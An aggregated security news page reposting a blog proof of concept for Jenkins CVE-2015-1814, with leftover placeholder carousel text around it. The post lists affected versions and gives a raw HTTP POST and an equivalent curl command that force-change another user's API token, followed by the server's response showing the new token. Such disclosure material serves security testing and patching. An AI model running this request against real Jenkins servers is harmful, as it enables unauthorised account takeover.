Welcome to our

Cyber Security News Aggregator

Cyber Tzar

provide a

cyber security risk management

platform; including automated penetration tests and risk assesments culminating in a "cyber risk score" out of 1,000, just like a credit score.

First slide label

Some representative placeholder content for the first slide.

Second slide label

Some representative placeholder content for the second slide.

Third slide label

Some representative placeholder content for the third slide.

Jenkins - SECURITY-180/CVE-2015-1814 PoC

published on 2019-02-28 00:51:00 UTC by Unknown
Content:

Forced API token change

SECURITY-180/CVE-2015-1814

https://jenkins.io/security/advisory/2015-03-23/#security-180cve-2015-1814-forced-api-token-change

Affected Versions

All Jenkins releases <= 1.605
All LTS releases <= 1.596.1

PoC
Tested against Jenkins 1.605

	POST /user/user2/descriptorByName/jenkins.security.ApiTokenProperty/changeToken HTTP/1.1
	Host: 10.0.0.160
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0
	Accept: text/javascript, text/html, application/xml, text/xml, /
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	X-Requested-With: XMLHttpRequest
	X-Prototype-Version: 1.7
	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
	Referer: https://10.0.0.160:8080/asynchPeople/
	Content-Length: 8
	Connection: keep-alive
	Pragma: no-cache
	Cache-Control: no-cache

	=user2

	CURL VERSION

	curl -i -s -k -X $'POST' \
	-H $'Host: 10.0.0.160' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.7' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Referer: https://10.0.0.160/asynchPeople/' -H $'Content-Length: 8' -H $'Connection: keep-alive' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' \
	--data-binary $'=user2\x0d\x0a' \
	$'http://10.0.0.160:8080/user/user2/descriptorByName/jenkins.security.ApiTokenProperty/changeToken'

	Output

	HTTP/1.1 200 OK
	script: document.getElementById('apiToken').value='29a087f1e29620e105385b7599bffd20'
	Content-Type: text/html;charset=UTF-8
	Content-Length: 19
	Server: Jetty(winstone-2.8)

	<div>Updated</div>

view raw gistfile1.txt hosted with ❤ by GitHub

Burp output

Validate new token works

Article: Jenkins - SECURITY-180/CVE-2015-1814 PoC - published about 6 years ago.

https://blog.carnal0wnage.com/2019/02/jenkins-security-180cve-2015-1814-poc.html
Published: 2019 02 28 00:51:00
Received: 2021 06 06 09:05:30
Feed: Carnal0wnage and Attack Research Blog
Source: Carnal0wnage and Attack Research Blog
Category: News
Topic: Hacking
Views: 6